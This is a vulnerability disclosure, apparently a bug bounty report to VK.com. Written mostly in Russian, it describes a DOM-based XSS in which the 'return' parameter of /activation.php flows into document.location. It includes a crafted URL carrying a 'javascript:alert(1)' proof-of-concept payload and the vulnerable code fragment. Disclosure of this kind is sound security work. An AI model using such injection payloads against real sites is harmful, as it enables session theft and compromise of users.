VK.com · Report #146939
DOM XSS в /activation.php?act=activate_mobile
How it was found
Поинтересовался тут функцией showOrderBox в API. Увидел там "Тестовое спецпредложение. Тестовое спецпредложение для разработчиков приложений." При щелчке по кнопке "перейти в группу" попал на страницу /activation.php?act=activate_mobile&hash=мой_хэш&return=%2Foffersdesk%3Fact%3Dstart_offer%26offer_id%3D1237%26hash%3D17634e2103b0a99782%26test_mode%3D1%26aid%3D4846993%26app_currency%3D0%26from%3
Обратил внимание на параметр return. Увидел, что значение попадает в вывод страницы, предоставляя возможность осуществить xss атаку.
Сформировал следующую ссылку: /activation.php?act=activate_mobile&hash=мой_хэш&return=javascript:alert(1);//offersdesk%3Fact%3Dstart_offer%26offer_id%3D1237%26hash%3D17634e2103b0a99782%26test_mode%3D1%26aid%3D4846993%26app_currency%3D0%26from%3
Получил alert при вводе в поле ввода правильного кода из смс.
Фрагмент уязвимого кода js: params = {code: code, hash: 'a0096404730f329021'}; callback = function(t) { if (t) { cur.phoneValidationMsg(t); return stop(); } document.location = winToUtf('javascript:alert(1);//offersdesk?act=start_offer&offer_id=1237&hash=17634e2103b0a99782&aid=4846993&app_currency=0&from='); }